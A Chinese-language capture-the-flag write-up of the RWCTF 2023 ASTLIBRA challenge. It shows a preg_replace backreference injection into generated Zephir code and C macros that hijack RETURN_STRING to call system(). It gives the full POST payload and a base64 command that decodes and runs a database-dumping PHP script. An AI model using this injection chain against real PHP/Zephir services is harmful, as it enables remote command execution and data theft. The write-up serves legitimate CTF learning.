RWCTF ASTLIBRA 复现
环境和官方wp
https://github.com/wupco/rwctf2023-ASTLIBRA
当前端向/api.php发起请求的时候,api.php根据接收到的URL参数和用户名等信息,拼接出一段代码
$tmpl = <<<ZEPF
namespace {namespace};
class {class}{
public function getURL(){
return "{base64url}";
}
public function test(){
var ch = curl_init();
curl_setopt(ch, CURLOPT_URL, "{url}");
curl_setopt(ch, CURLOPT_HEADER, 0);
curl_exec(ch);
curl_close(ch);
return true;
}
}
ZEPF;
然后就会把这段代码插入数据库中,并标记check=0,在config.php#wait_for_result死循环,直到check=1才跳循环。
而bot.php有一个死循环任务,会查找数据库中check=1的记录,将其select出来,用zephir编译运行返回访问URL的结果,然后把check改成1,从而config.php跳出循环在api.php返回结果
这段代码在数据库中可以看到
看了一下,注入点基本上只有URL可控,没有任何过滤。但是最后在编译运行的时候会先check一遍URL。
url会经过处理
$url = addslashes($_POST['URL']);
preg_replace('/(.*)\{url\}(.*)/is', '${1}'.$url.'${2}', $zep_file);
PHP正则表达式的${n}
表示第n个小括号表达式匹配出来的内容。所以可以在URL末尾加一个${2},最后注释,逃逸引号。code则会被插入到class后面的部分。
URL=http%3a//www.baidu.com/${2}code/*
当然,预期解用了一个逆天的PHP特性(?)
https://stackoverflow.com/questions/50983530/why-is-preg-replace-removing-backslashes
于是也就有了官方wp中的
\"
will finally convert to\\"
逃出来之后,就可以写代码了。正常的php算是写不了了,在bot.php里过滤了1mol东西。但是zephir支持原生cblock。官方wp中说到
Although cblock has been removed by
ASTLIBRA/zephir-tunnel/secure.patch
, it could still be inserted in the place out of the function scope.
观察一下正常预编译后的C结构
#ifdef HAVE_CONFIG_H
#include "../ext_config.h"
#endif
#include <php.h>
#include "../php_ext.h"
#include "../ext.h"
#include <Zend/zend_operators.h>
#include <Zend/zend_exceptions.h>
#include <Zend/zend_interfaces.h>
#include "kernel/main.h"
#include "kernel/object.h"
#include "kernel/fcall.h"
#include "kernel/memory.h"
ZEPHIR_INIT_CLASS(Hack_exp)
{
ZEPHIR_REGISTER_CLASS(Hack, exp, hack, exp, hack_exp_method_entry, 0);
return SUCCESS;
}
PHP_METHOD(Hack_exp, getURL)
{
zval *this_ptr = getThis();
RETURN_STRING("base64");
}
PHP_METHOD(Hack_exp, test)
{
zval ch, _0, _1, _3;
zephir_method_globals *ZEPHIR_METHOD_GLOBALS_PTR = NULL;
zephir_fcall_cache_entry *_2 = NULL;
zend_long ZEPHIR_LAST_CALL_STATUS;
zval *this_ptr = getThis();
ZVAL_UNDEF(&ch);
ZVAL_UNDEF(&_0);
ZVAL_UNDEF(&_1);
ZVAL_UNDEF(&_3);
ZEPHIR_MM_GROW();
ZEPHIR_CALL_FUNCTION(&ch, "curl_init", NULL, 1);
zephir_check_call_status();
ZVAL_LONG(&_0, 10002);
ZEPHIR_INIT_VAR(&_1);
ZVAL_STRING(&_1, "localhost");
ZEPHIR_CALL_FUNCTION(NULL, "curl_setopt", &_2, 2, &ch, &_0, &_1);
zephir_check_call_status();
ZVAL_LONG(&_0, 42);
ZVAL_LONG(&_3, 0);
ZEPHIR_CALL_FUNCTION(NULL, "curl_setopt", &_2, 2, &ch, &_0, &_3);
zephir_check_call_status();
ZEPHIR_CALL_FUNCTION(NULL, "curl_exec", NULL, 3, &ch);
zephir_check_call_status();
ZEPHIR_CALL_FUNCTION(NULL, "curl_close", NULL, 4, &ch);
zephir_check_call_status();
RETURN_MM_BOOL(1);
}
由于后续流程会调用getURL
函数,所以可以定义一个宏劫持RETURN_STRING
来执行命令。
另外,由于引号会被addslashes
处理,不能直接定义一个字符串常量。这里用到了一些C语言函数宏的特性。#s会直接返回宏变量名。
%{
#define CMD echo xxx|base64 -d|bash
#define GET(cmd) STR(cmd)
#define STR(s) #s
#define RETURN_STRING(s) system(GET(CMD))
}%
执行命令反弹shell后,写一个php脚本连接数据库就可以select出数据库里的flag了。最终EXP:
POST /api.php
URL=http%3a//www.baidu.com/${2}%25{
%23define+CMD+echo+xxx|base64+-d|bash
%23define+GET(cmd)+STR(cmd)
%23define+STR(s)+%23s
%23define+RETURN_STRING(s)+system(GET(CMD))
}%25/*
执行命令
echo PD9waHAKJGhvc3QgPSAnZGInOwokdXNlcm5hbWUgPSAncm9vdCc7CiRwYXNzd29yZCA9ICdyZWFsd29ybGRjdGYnOwokZGF0YWJhc2UgPSAnd2ViJzsKJGRiYyA9IG15c3FsaV9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGRhdGFiYXNlKTsKCiRxdWVyeSA9ICJzZWxlY3QgZmxhZyBmcm9tIGZsYWciOwp2YXJfZHVtcCgKICAgICRkYmMgLT4gcXVlcnkoJHF1ZXJ5KS0+ZmV0Y2hfYXNzb2MoKQopOwo=|base64 -d>/tmp/flag.php&&php /tmp/flag.php&&rm /tmp/flag.php
另外,由于curl已经可以达到SSRF连数据库的效果,所以也不一定要命令执行,利用没有被ban的php-curl也可以直接返回flag。具体参见官方wp。